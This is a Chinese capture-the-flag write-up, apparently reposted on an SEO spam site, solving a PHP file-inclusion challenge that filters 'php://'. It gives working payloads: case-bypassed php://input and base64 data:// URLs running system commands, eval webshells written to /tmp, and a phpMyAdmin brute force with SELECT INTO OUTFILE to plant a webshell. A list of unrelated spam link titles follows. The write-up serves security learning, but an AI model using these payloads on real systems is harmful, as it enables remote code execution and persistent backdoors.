当前位置: 首页 > news >正文

牛商营销型网站建设方案seo排名的职位

牛商营销型网站建设方案,seo排名的职位,ppt制作接单平台,制作网站教学设计知识点:代码审计 文件包含 伪协议 伪协议知识点补充: 在PHP中,伪协议(Pseudo Protocols)也被称为流包装器,这些伪协议以 php://开头,后面跟着一些参数,用于指定要执行的操作或需要…

知识点:代码审计 文件包含 伪协议

伪协议知识点补充

在PHP中,伪协议(Pseudo Protocols)也被称为流包装器,这些伪协议以 php://开头,后面跟着一些参数,用于指定要执行的操作或需要访问的资源。 ​ 伪协议表明这些协议并不是一个真实的外部协议,例如http或ftp。PHP伪协议的出现是为了提供一个统一的、简洁的接口来处理不同的数据流。这些伪协议可以被看作是一种桥梁,它们允许开发者使用常规的文件操作函数来处理各种不同的数据流。

php://input:是PHP提供的一个伪协议,允许开发者访问POST请求的原始内容,对于POST请求数据,PHP提供了 $_POST$FILES 超全局变量,在客户端发起POST请求时,PHP将自动处理POST提交的数据并将处理结果存放至 $_POST$FILES 中。

一、解题思路

step 1 打开靶机审题

打开靶机得到一串代码,开始代码审计

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {$page=str_replace("php://", "", $page);
}
include($page);
?>

step 2 代码审计

  1. show_source(__FILE__); show_source() 函数:将指定文件的内容以语法高亮的形式输出

  2. strstr($page, "php://") strstr()函数

    strstr(字符串,你要搜索的内容,false)

    括号里面有三个部分:

    1.字符串:也就是上面的$page。例如:在url后面添加 /?page=123456,那么$page的内容就是123456。

    2.你要搜索的内容:也就是题目中的php://。意思就是该函数会从$page的内容里去寻找php://,而这里是一个while语句,一旦查找到php://,那么就会执行大括号里面的语句。

    例如:我的url是

    http://61.147.171.105:53858/?page=php.php://input

    那么传入的$page的内容就是php://input,而前面的“php.”就会被丢弃。

    3.false:我这里写false的原因是该参数默认是false。也就是一般情况只需要写前两个参数即可。false代表匹配到php://之后,会输出php://和之后的内容。而如果为true,则会输出“php.”,也就是php://前面的内容。

    注:strstr函数对大小写敏感,也就是会区分大小写。

  3. str_replace("php://", "", $page) str_replace()函数

    str_replace函数:这个函数的作用是将匹配到的php://全部替换为空。

例如:str_replace(“1”,“2”,“123”)会输出223。因为会将全部的1替换为2。(同样区分大小写)

str_replace("php://", "", $page) ,即会将 php:// 替换为 $page 中的值。

总之,程序过滤掉了page=参数传入php://

step 3 五个解法

解法一 使用php://input 伪协议&大小写绕过/原因:strstr函数区分大小写

php://input可用于执行php代码,使用post方式传递代码即可。这里再将php改为PHP

构建url为

/?page=PHP://input

使用hackbar或bp抓包,用post方式传递php代码。

<?php system('ls'); ?> 列出所有文件

fl4gisisish3r3.php 疑似flag,cat一下得到了真的flag

解法二 data://伪协议执行命令利用

既然过滤了php://的伪协议 我们可以使用其他协议来替代,这里使用data://伪协议

data://伪协议:php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

使用方法:

data://text/plain;base64,xxxx(base64编码后的数据)

<?php system("dir")?> base64编码后为 PD9waHAgc3lzdGVtKCJkaXIiKT8+

http://61.147.171.105:64764/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b

(注意编码后的+号要URL编码)

<?php system("cat fl4gisisish3r3.php")?> base64编码后使用

http://61.147.171.105:64764/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

查看源码得到flag

解法三 data://伪协议转木马

<?php eval($_POST[x]); ?> base64加密后拼接

http://61.147.171.105:64764/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

菜刀连接即可:

解法四 抓包后再最下面添加一段代码+蚁剑

代码如下:

<?PHP fputs(fopen('/tmp/shell.php','w'),'<?php @eval($_POST[x])?>');?>

注意点:这里一句话木马[]里没有单引号&蚁剑链接先测试链接

Tips:linux默认tmp是可写目录,所以尝试一句话,然后蚁剑链接,即可看到文件

解法四 数据库写入一句话木马(这里没弄明白在哪里写入一句话木马,望大佬指条明路!)

dirsearch扫描获得phpmyadmin文件,怪怪的,传参进去看看情况,得到如下界面

抓包爆破用户名和密码 得到用户名为root,密码为空

进入数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据

SHOW VARIABLES LIKE "secure_file_priv" 显示为空

然后写入一句话马,用蚁剑连接

SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'

注:secure_file_priv 为系统变量,如果是null,即没设置允许操作的目录,所以没法导出到文件

解法五 通过hello参数回显(新方法,但这里模棱两可,这里也需要大佬指路)

payload如下(flag文件名由上面方法可以得到)

http://61.147.171.105:64764/?page=http://127.0.0.1?hello=<?show_source('fl4gisisish3r3.php');?>

大概理解一下:

首先使page参数为本页代码,绕过判断,会执行include文件包含本页代码,这时传入的hello参数会被视为php代码执行

http://www.dt0577.cn/news/53461.html

相关文章:

  • 网站外链建设到底该怎么做百度一下你就知道了
  • WordPress仿b站主题宁波seo排名外包公司
  • 做购物网站表结构分析河南网站建设制作
  • 网站建设费网站推广服务报价表
  • 与做网站的人怎么谈判如何让网站快速收录
  • 我想自己在网站上发文章 怎样做seo优化sem推广
  • 简单的企业网站php自动外链网址
  • 网站开发还是做数据库开发域名
  • 专业的网站制作设计什么是seo教程
  • 教育部学校建设规划中心网站sem是什么设备
  • 周至县做网站外链怎么打开
  • 房间设计图软件西安seo技术培训班
  • 萧山好的做网站的公司网店推广方式有哪些
  • 北京猎梦网站建设如何让百度收录网站
  • wordpress user pro网站的优化
  • .wordpress安装陕西seo推广
  • 网站开发 方案 报价单东莞网站推广营销网站设计
  • 新手练习做网站哪个网站比较合适百度搜索指数排名
  • 长沙企业建站安徽建站
  • 上海做网站的公重庆seo结算
  • 公司网站空间怎么续费东莞网络营销推广软件
  • 物流网站html5模板连云港seo优化
  • 常德网站开发武汉搜索推广
  • 上海网站制作的3000行业关键词
  • 打鱼网站怎么做semantic
  • ECMS做的网站苏州优化seo
  • 新手做哪类网站百度一下你就知道
  • 用代码怎么做网站广告宣传方式有哪些
  • 展示型网站可以做推广的吗seo网站推广计划
  • 推荐5家知名seo系统源码出售